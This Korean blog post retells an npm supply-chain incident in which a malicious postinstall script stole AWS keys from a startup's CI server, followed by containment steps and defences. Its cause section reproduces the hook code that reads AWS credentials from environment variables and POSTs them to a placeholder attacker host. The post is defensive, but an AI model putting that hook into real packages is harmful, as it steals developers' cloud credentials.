TechFeedTechFeed
Security

npm 패키지 공급망 공격으로 AWS 키가 탈취된 48시간 — 스타트업 보안 사고 실전 기록

한국 B2B SaaS 스타트업이 npm 패키지 악성 업데이트(postinstall 스크립트)로 AWS 자격증명이 탈취된 사건을 3인칭으로 기록한다. 새벽 3시 청구 알림부터 원인 파악, 봉쇄, AWS 환불 협상, 재발 방지 체계 구축까지 48시간 실전 대응 전 과정을 담는다.

한 줄 요약: 한국의 B2B SaaS 스타트업이 npm 패키지 악성 업데이트(postinstall 스크립트)로 AWS 자격증명이 탈취되는 공급망 공격을 경험했다. 새벽 3시 청구 알림으로 시작된 이 사건은 48시간 만에 봉쇄됐고, 팀은 서비스 중단 없이 대응하면서 재발 방지 체계를 구축했다.

이 글이 필요한 사람
  • npm/pip 오픈소스 의존성을 사용하는 모든 개발팀
  • AWS IAM과 자격증명 관리를 담당하는 시스템 관리자
  • 공급망 보안 사고를 경험한 적 없어서 '설마 우리가' 생각하는 팀

※ 이 글은 익명 처리된 실제 사례를 기반으로 한 3인칭 서술이다. 팀 규모·서비스 규모·구체적 패키지명은 변경됐다. 출처: 개발자 커뮤니티 공개 포스트모템(2026년 3월)

npm supply chain attack malicious package AWS credentials stolen
공급망 공격은 직접 해킹보다 탐지가 어렵다. 신뢰하는 패키지 자체가 공격 벡터가 된다

새벽 3시 12분, AWS 청구 알림이 울렸다

이 스타트업의 인프라 담당 개발자 K씨는 새벽 3시 12분에 스마트폰 알림으로 잠에서 깼다. AWS Billing 알림이었다. 설정한 임계값인 월 $2,000을 이미 넘었다는 내용이었다. 당시는 4월 8일, 월초부터 8일밖에 안 됐는데 월 기준을 초과한 것이다.

K씨가 AWS 콘솔에 접속해 Cost Explorer를 열었을 때 확인한 것은 EC2 이상 청구가 아니었다. us-east-1 리전에서 낯선 서비스 콜이 폭발적으로 발생하고 있었다. 이 팀은 서울 리전(ap-northeast-2)만 사용했고, us-east-1에는 리소스가 없었다.

추가로 확인된 것들:

  • EC2 인스턴스 47개가 us-east-1에서 실행 중 (팀이 만든 게 아님)
  • S3 버킷 3개가 새로 생성됨
  • Lambda 함수 다수 실행 이력
  • SES를 통한 이메일 대량 발송 이력

K씨는 즉시 팀 Slack 채널에 알렸다. 오전 4시에 팀장 L씨와 보안을 담당하는 J씨가 합류했다. 이때부터 공식적인 인시던트 대응이 시작됐다.

초기 대응 실수: 팀이 처음 한 일은 AWS 콘솔에서 해당 EC2 인스턴스를 즉시 종료하는 것이었다. 이 결정은 나중에 포렌식 증거 일부를 파괴하는 결과를 낳았다. 인시던트 초기에는 가능한 한 시스템을 종료하지 않고 증거를 보존하는 것이 원칙이다. 인스턴스 종료 전에 네트워크 격리를 먼저 해야 했다.

원인 파악 — npm 패키지 하나가 문제였다

CloudTrail 로그 분석에서 AWS API 콜의 출처를 추적했다. 첫 번째 악성 API 콜은 4월 7일 오후 11시 43분에 발생했다. 출처 IP는 팀이 사용하는 CI/CD 서버였다.

CI/CD 파이프라인을 역추적했다. 4월 7일 오후 10시에 일반적인 npm install과 빌드가 실행됐다. 빌드 로그에서 수상한 패키지가 발견됐다. 공격자는 팀이 사용하던 유틸리티 패키지의 패치 버전(2.3.1 → 2.3.2)을 npm에 업로드했고, 이 버전은 설치 시 postinstall 스크립트를 실행했다.

스크립트가 수행한 동작은 3단계였다.

악성 postinstall 스크립트 패턴 (재현용 — 실제 코드 아님)
// package.json (악성 버전 2.3.2) { "name": "utility-helper", "version": "2.3.2", "scripts": { // postinstall은 npm install 완료 직후 자동 실행됨 "postinstall": "node scripts/setup.js" } } // scripts/setup.js (악성 로직 패턴) const https = require('https'); // 환경변수에서 AWS 자격증명 수집 const payload = JSON.stringify({ key: process.env.AWS_ACCESS_KEY_ID, secret: process.env.AWS_SECRET_ACCESS_KEY, token: process.env.AWS_SESSION_TOKEN, env: process.env.NODE_ENV }); // 공격자 서버로 전송 (HTTPS라 탐지 어려움) const req = https.request({ hostname: 'attacker-collect.example.com', path: '/collect', method: 'POST' }); req.write(payload); req.end();
npm postinstall script supply chain attack flow CI CD pipeline
postinstall 스크립트는 npm install 과정에서 자동 실행된다. CI/CD 서버의 모든 환경변수에 접근할 수 있어 자격증명 탈취에 이상적인 공격 벡터다

피해 범위 측정 — 8시간 동안 공격자가 한 일

J씨가 CloudTrail 로그 전체를 분석해 공격자 활동을 재구성했다. 최초 자격증명 탈취 시점(4월 7일 23:43)부터 팀이 대응을 시작한 시점(4월 8일 04:00)까지 약 4시간 17분, 그리고 봉쇄 완료 시점까지 총 8시간의 활동이다.

확인된 피해 항목:

  • IAM 신규 사용자 4개 생성 (모두 AdministratorAccess 권한)
  • EC2 인스턴스 47개 실행 (us-east-1, us-west-2 리전, 암호화폐 채굴용으로 추정)
  • S3 버킷 3개 생성 (용도 불명, 데이터 없음)
  • SES를 통한 이메일 6,847건 발송 (스팸 발송 추정)
  • 8시간 AWS 비용 발생: 약 $3,400

가장 중요한 확인 사항은 기존 프로덕션 리소스(ap-northeast-2)는 건드리지 않았다는 것이다. 공격자의 목적은 자원을 탈취해 암호화폐를 채굴하고 스팸을 보내는 것이었지, 팀의 데이터나 서비스를 공격하는 것이 아니었다. 이 점이 최악의 시나리오(프로덕션 DB 삭제, 고객 데이터 유출)를 피하게 해줬다.

운이 좋았던 이유: 팀의 IAM 설정에서 서울 리전 외 다른 리전의 EC2 생성 권한이 의도치 않게 허용되어 있었다. 만약 SCP(Service Control Policy)나 IAM Conditions로 리전을 제한했다면 피해 자체가 발생하지 않았을 것이다. 공격자가 프로덕션 DB에 접근하지 않은 것은 팀의 보안 설계 덕분이 아니라 공격자의 목적이 달랐기 때문이다.

봉쇄 조치 — 자격증명 교체와 리소스 정리

원인이 확인된 오전 5시 30분부터 체계적인 봉쇄를 시작했다. 팀이 우선순위에 따라 실행한 조치 순서다.

즉시 실행한 AWS CLI 자격증명 봉쇄 명령
# 1. 탈취된 IAM 키 즉시 비활성화 aws iam update-access-key \ --access-key-id AKIA_COMPROMISED_KEY \ --status Inactive \ --user-name ci-deploy-user # 2. 공격자가 생성한 IAM 사용자 4개 제거 for user in attacker-user-1 attacker-user-2 attacker-user-3 attacker-user-4; do aws iam detach-user-policy \ --user-name $user \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess for key in $(aws iam list-access-keys --user-name $user \ --query 'AccessKeyMetadata[].AccessKeyId' --output text); do aws iam delete-access-key --user-name $user --access-key-id $key done aws iam delete-user --user-name $user done # 3. EC2 인스턴스 강제 종료 (us-east-1) aws ec2 terminate-instances \ --region us-east-1 \ --instance-ids $(aws ec2 describe-instances \ --region us-east-1 \ --query 'Reservations[].Instances[].InstanceId' \ --output text) # 4. 새 IAM 자격증명 발급 (CI/CD 교체용) aws iam create-access-key --user-name ci-deploy-user-new

봉쇄 완료 시점은 오전 9시 12분이었다. 공격 탐지 후 약 5시간이 걸렸다. CI/CD 파이프라인의 자격증명을 새 키로 교체하고, GitHub Actions의 시크릿을 업데이트하는 작업까지 포함된 시간이다.

이 과정에서 팀이 절감한 중요한 사실이 있었다. 자격증명 교체 매뉴얼이 없었다. 어느 파이프라인에 어느 키가 들어있는지, CI/CD 외에 다른 서비스에서 같은 키를 쓰고 있는지 즉시 파악이 안 됐다. 교체 작업 중 실제 서비스 배포가 잠깐 차단되는 상황도 발생했다.

재발 방지 — 사고 후 2주 동안 구축한 것

인시던트가 종료된 후 팀은 2주에 걸쳐 재발 방지 체계를 구축했다. 핵심 조치 5가지다.

1. npm --ignore-scripts 강제 적용

기존에는 npm install을 그대로 사용했다. 이후 팀은 모든 CI/CD 파이프라인에서 --ignore-scripts 플래그를 적용했다. postinstall을 반드시 실행해야 하는 패키지만 예외 처리한다.

CI/CD npm 설치 보안 강화 — ignore-scripts 적용
# Before: 스크립트 실행을 허용하는 기본 설치 npm install # After: postinstall 등 모든 scripts 실행 차단 npm ci --ignore-scripts # .npmrc 프로젝트 파일에 전역 설정 (실수 방지) # 파일 경로: .npmrc ignore-scripts=true # postinstall이 반드시 필요한 패키지만 개별 허용 # (예: node-gyp 네이티브 빌드가 필요한 경우) npm rebuild package-requiring-scripts

2. OIDC 기반 임시 자격증명으로 전환

기존 방식은 IAM 액세스 키를 GitHub Actions 시크릿에 저장하는 방식이었다. 이번 사고의 직접 원인이기도 했다. 팀은 이를 OIDC(OpenID Connect) 기반 임시 자격증명으로 전환했다. 장기 자격증명이 환경변수에 노출되지 않는 구조다.

GitHub Actions OIDC 기반 AWS 자격증명 (장기 키 완전 제거)
# .github/workflows/deploy.yml jobs: deploy: permissions: id-token: write # OIDC 토큰 발급 허용 contents: read steps: - name: Configure AWS Credentials via OIDC uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole aws-region: ap-northeast-2 # AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY 불필요! # 임시 토큰이 자동 발급되고 1시간 후 만료됨 # postinstall이 탈취해도 사용 불가능한 만료 토큰만 있음

3. IAM Conditions로 리전 제한

사고 당시 공격자가 us-east-1에서 마음대로 리소스를 생성할 수 있었던 이유는 IAM 정책에 리전 제한이 없었기 때문이다. 이제 서울 리전 외 리소스 생성을 차단한다.

IAM 정책 — 서울 리전 외 EC2/S3 생성 차단
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyNonSeoulRegion", "Effect": "Deny", "Action": [ "ec2:RunInstances", "s3:CreateBucket", "lambda:CreateFunction", "ses:SendEmail" ], "Resource": "*", "Condition": { "StringNotEquals": { "aws:RequestedRegion": "ap-northeast-2" } } } ] }

4. 시간당 비용 급증 탐지 알람 추가

기존 알림은 월 $2,000 임계값 하나뿐이었다. 이 수준에서는 이미 상당한 피해가 발생한 후다. 시간당 이상 비용을 탐지하는 CloudWatch 알람을 추가했다.

CloudWatch 시간당 비용 급증 알람 설정
# 시간당 $50 이상 청구 즉시 알림 aws cloudwatch put-metric-alarm \ --alarm-name "HourlyCostSpike" \ --metric-name "EstimatedCharges" \ --namespace "AWS/Billing" \ --statistic Maximum \ --period 3600 \ --threshold 50 \ --comparison-operator GreaterThanOrEqualToThreshold \ --dimensions Name=Currency,Value=USD \ --evaluation-periods 1 \ --alarm-actions arn:aws:sns:us-east-1:123456789012:BillingAlert # 주의: AWS Billing 메트릭은 us-east-1 리전에서만 사용 가능

5. 자격증명 인벤토리 문서화

사고 후 팀은 모든 서비스에서 사용하는 자격증명을 문서화했다. 어느 서비스가 어느 IAM 역할을 쓰는지, 교체 절차가 무엇인지를 런북으로 정리했다. 이 문서가 없으면 다음 사고 때도 교체 과정에서 시간을 낭비하게 된다.

AWS IAM OIDC GitHub Actions security architecture zero trust
OIDC 기반 임시 자격증명 구조에서는 장기 액세스 키가 환경변수에 존재하지 않아 postinstall 스크립트로 탈취 자체가 불가능하다

최종 정산 — AWS $4,890과 환불 협상 결과

인시던트가 완전히 종료된 후 AWS 청구 내역을 확인했다. 공격자가 사용한 비용은 총 $4,890이었다. EC2 암호화폐 채굴 비용이 $4,100, SES 발송 비용이 $310, 기타 서비스 비용이 $480이었다.

팀은 AWS Support에 인시던트 보고서를 제출하고 비용 환불을 요청했다. 제출 자료는 CloudTrail 로그, 공격자 IAM 활동 타임라인, 원인이 된 악성 패키지 분석 결과였다. AWS 측은 조사 후 공격으로 발생한 비용 중 $4,200을 환불했다. 처음부터 이상한 활동 패턴이 명확했고, CloudTrail 로그로 공격 경위가 입증됐기 때문이다.

이 사건이 주는 교훈 — 우리 팀도 같은 상황일 수 있다

이 팀의 사례는 특별한 케이스가 아니다. npm 공급망 공격은 2024년 이후 급격히 증가했고, CI/CD 환경의 장기 AWS 자격증명은 여전히 수많은 팀에서 관행적으로 사용된다. Socket.dev 공급망 공격 트래커에 따르면 2025년 한 해에만 7,000건 이상의 악성 npm 패키지가 탐지됐다.

이 사건이 주는 실무 교훈을 정리하면 다음과 같다.

  1. 장기 AWS 자격증명을 CI/CD 환경변수에 두는 순간 이미 위험 수준이다
    OIDC 기반 임시 자격증명으로 전환하는 것이 현재 가장 효과적인 단일 조치다. GitHub Actions, GitLab CI, CircleCI 모두 OIDC를 지원한다. 전환 비용은 낮고 보호 효과는 크다.

  2. npm ci --ignore-scripts는 최소한의 방어선이다
    postinstall 스크립트가 필요한 패키지는 별도로 화이트리스트에 등록하고, 그 외 모든 스크립트는 기본 차단해야 한다.

  3. IAM 최소 권한 원칙은 리전 수준까지 적용해야 한다
    사용하지 않는 리전에서 리소스 생성을 막는 것만으로도 암호화폐 채굴 공격의 피해 범위를 크게 줄일 수 있다.

  4. 월 단위 알림은 이미 늦다
    시간당 이상 비용을 탐지하는 알람이 있어야 골든타임 내에 대응할 수 있다. 이 팀은 4시간 만에 탐지했지만, 월 알림만 있었다면 몇 주 후에 알았을 것이다.

  5. 자격증명 교체 런북을 미리 만들어라
    사고 발생 후 자격증명을 교체하는 과정에서 시간과 실수가 발생한다. 어느 서비스에 어느 키가 들어있는지 문서화하고, 정기적으로 키 교체를 연습해야 한다.

출처: 개발자 커뮤니티 익명 포스트모템(2026년 3월) | Socket.dev Supply Chain Attack Tracker | AWS OIDC 공식 문서 | GitHub Actions OIDC AWS 설정 가이드

보안npm공급망공격AWS자격증명탈취OIDCIAM사고대응postinstallCI/CD보안

관련 포스트

VPN 서비스 개발자 추천 2026 — NordVPN·ExpressVPN·Mullvad·ProtonVPN 비교2026-04-22OWASP Top 10 2026 — 웹 보안 필수 체크리스트2026-02-18인증 구현 가이드 2026 — JWT, OAuth, Passkey2026-02-20API 보안 체크리스트 20262026-03-06